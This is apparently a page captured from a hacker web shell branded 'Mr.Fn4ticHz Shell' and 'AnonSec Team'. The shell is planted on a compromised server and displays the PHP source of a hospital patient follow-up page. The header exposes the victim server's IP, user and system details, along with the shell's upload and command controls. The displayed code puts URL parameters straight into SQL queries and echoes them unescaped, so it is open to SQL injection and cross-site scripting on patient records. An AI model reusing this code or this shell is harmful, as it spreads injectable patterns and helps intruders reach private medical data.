Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 13.58.192.80
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/View_OPD_Patient_follow_up.php
   <?php
     session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');

    include("../dbconnection.php");
	
		    
		   	include 'dashboarddocument.php';

?>
	  

  <?php

include 'fileheader.php';
?>


<div class="container-fluid">
    <div class='row'>
        <div class='col-sm-12'>
            <div class="panel panel-primary">
               
    <div class="panel-body">
      <h4 class="text-on-pannel text-primary"><strong class="text-uppercase"> OPD Patient follow-up
 </strong></h4>
   <form name="Medical_Assessment" method="post" id="MAForm" >
      
   <?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
     echo "
<input type='hidden' value='$re[entered_by]' name='entered_by' >
";
}

$sqlpatient1 = "SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
  $qsqlpatient1 = mysqli_query($con,$sqlpatient1);
  $rsn = mysqli_fetch_array($qsqlpatient1);

            $FO=$con->query("SELECT * FROM front WHERE frid='$rsn[entered_by]'");
            $RowFO=$FO->fetch_assoc();
            
$sql2 ="SELECT * FROM opd_follow_up  WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
    $qsql2 = mysqli_query($con,$sql2);
    $rs = mysqli_fetch_array($qsql2);
    
        $c=$rs['Outcome'] ;
        $a=$c/15;
      
        
          $d=$c;
          $res=$d/100;
?>
 <input type='hidden' name='prescriptionid' value='<?php echo $_GET['prescriptionid'] ?>' />
                <input type='hidden' name='patientid' value='<?php echo $_GET['patientid'] ?>' />
                
<?php 
$sql ="SELECT * FROM patient WHERE patientid='$_GET[patientid]' ";
$qsql = mysqli_query($con,$sql);
$rs1 = mysqli_fetch_array($qsql);

 ?>
                  
                        
 
<div class='row'>
    <div class='col-sm-12'>
        <p>Dear <?php echo $rs1['patientname'] ?>, <br><br>
We would greatly appreciate receiving your Follow-up feedback on your experience with our practice. This will  help us to provide the best quality care. As part of our commitment to safe and high  quality health care, we welcome Follow-up feedback from patients to help us identify areas where we can improve our services to better meet your needs. Your feedback is voluntary, confidential and anonymous. <br><br>
Thank you 
</p>
    </div>
</div>
  <div class='row '>
        
        <div class='panel panel-primary' style='width:100%;'>
        <div class="panel-body" style='width:100%;'>
            
          
            
            
            

        <h4 class=""> <label> How satisfied are you with the Effectiveness / Outcome 
The Treatment Provided ? :
 </label></h4> 
         <div class='col-sm-12'> 
         
         <?php
         
         for ($x = 0; $x < $rs['Outcome']; $x++) {
    echo '<i class="fa fa-star md-18" style="color:#F8BD03"></i>';
}
for ($x = 0; $x < 5-$rs['Outcome']; $x++) {
    echo '<i class="fa fa-star md-18" style="color:#C8CAC7"></i>';
}

         ?></div>
    
    
    
    </div>
    
    </div>
    </div>
    
    <div class='row '>
        <div class='panel panel-primary' style='width:100%;'>
        <div class="panel-body" style='width:100%;'>
                

       
        <div class='col-sm-6'> <label>Did you Suffer Any Reaction Due to Investigation ?</label><label class="switch">
  <?php if($rs['ReactionInvestigation']=='on'){
      echo "<i class='fa fa-check' aria-hidden='true' style='color:green; font-size:20px;'></i>";
  }else{
      echo "<i class='fa fa-times' aria-hidden='true' style='color:red; font-size:20px;'></i>";
  }  ?>
</label></div>
    <div class='col-sm-6'><br><?php echo $rs['SpecifyInvestigation']; ?></div>
   
    <br>
    
    
    </div>
    
    </div>
    </div>
    

<div class='row '>
        <div class='panel panel-primary' style='width:100%;'>
        <div class="panel-body" style='width:100%;'>
             
       
 
        <div class='col-sm-6'> <label>Did you Suffer Any Reaction Due to Medication/Treatment ? </label>
        <label class="switch">
  <?php if($rs['ReactionTreatment']=='on'){
      echo "<i class='fa fa-check' aria-hidden='true' style='color:green; font-size:20px;'></i>";
  }else{
      echo "<i class='fa fa-times' aria-hidden='true' style='color:red; font-size:20px;'></i>";
  }  ?>
</label>
    </div>
    
    
    
    <div class='col-sm-6'><br>
       <?php echo $rs['SpecifyTreatment']; ?>
    </div>
    
    </div>
    
    </div>
    </div>
 
 
  <div class='row'>
        <div class='panel panel-primary' style='width:100%;'>
        <div class="panel-body" style='width:100%;'>
        <div class='col-sm-6'>
            <lable><b>Total Score</b> : <?php echo $d; ?>/15</lable>
        </div>
        <div class='col-sm-6'>
            <lable>Score&nbsp;&nbsp;&nbsp; <?php
         
         for ($x = 0; $x < $res; $x++) {
    echo '<i class="fa fa-star md-18" style="color:#F8BD03"></i>';
}
for ($x = 0; $x < 5-$res; $x++) {
    echo '<i class="fa fa-star md-18" style="color:#C8CAC7"></i>';
}

         ?></lable>
        </div>
    </div></div>
    </div>
<br><br>


</form>
    </div>
    
  </div>
        </div>
    </div>
  
  </div>


<?php
  	$sql ="SELECT * FROM Vulnerability WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
	    $sql1 ="SELECT * FROM site_users WHERE userno='$rs[entered_by]'";
		$qsql1 = mysqli_query($con,$sql1);
		if($rs1 = mysqli_fetch_array($qsql1))
		{
		    
		 echo"<h5><b> Created & Updated </b><h5>
		 <table id='example2' class='table table-bordered table-hover'>
		 <tr><td width=50%><b>By :</b>$rs1[name] </b><td width='50%'><b>At :</b> $rs[updated_at] </tr>";   
		    
		}
		}
		?>
		</table>

<style>
    .text-on-pannel {
  background: #fff none repeat scroll 0 0;
  height: auto;
  margin-left: 20px;
  padding: 3px 5px;
  position: absolute;
  margin-top: -47px;
  border: 1px solid #337ab7;
  border-radius: 8px;
  
}

.panel {
  /* for text on pannel */
  margin-top: 27px !important;
}

.panel-body {
  padding-top: 30px !important;
  
}

.panel-primary {
    
    border-color: #116bb9;
}

.donate-now {
     list-style-type:none;
     margin:25px 0 0 0;
     padding:0;
}

.donate-now li {
     float:left;
     margin:0 5px 0 0;
}

.donate-now label {
     padding:5px;
     border:1px solid #CCC; 
     cursor:pointer;
}

.donate-now label:hover {
     background:#DDD;
}


/* Main toggle */
.toggle { 
  font-size: 13px;
  line-height:20px;
  font-family: "HelveticaNeue", "Helvetica Neue", Helvetica, Arial, sans-serif;
  background: #ffffff; /* Main background */
  margin-bottom: 10px;
  border: 1px solid #e5e5e5;
  -webkit-border-radius: 5px;
     -moz-border-radius: 5px;
          border-radius: 5px; 
}

/* Toggle Link text */
.toggle a.toggle-trigger {
  display:block;
  padding: 10px 20px 15px 20px;
  position:relative;
  text-decoration: none;
  color: #666;
}

/* Toggle Link hover state */
.toggle a.toggle-trigger:hover {
  opacity: .8;
  text-decoration: none;
}

/* Toggle link when clicked */
.toggle a.active {
  text-decoration: none;
  border-bottom: 1px solid #e5e5e5;
  -webkit-box-shadow: 0 8px 6px -6px #ccc;
     -moz-box-shadow: 0 8px 6px -6px #ccc;
          box-shadow: 0 8px 6px -6px #ccc;
  color: #000;
}

/* Lets add a "-" before the toggle link */
.toggle a.toggle-trigger:before {
  content: "-"; /* You can add any symbol, font icon, or graphic icon */
  margin-right: 10px;
  font-size: 1.3em; 
}

/* When the toggle is active, change the "-" to a "+" */
.toggle a.active.toggle-trigger:before {
  content: "+";
}

/* The content of the toggle */
.toggle .toggle-content {
  padding: 10px 20px 15px 20px;
  color:#666;
}

</style>

Anon7 - 2022
AnonSec Team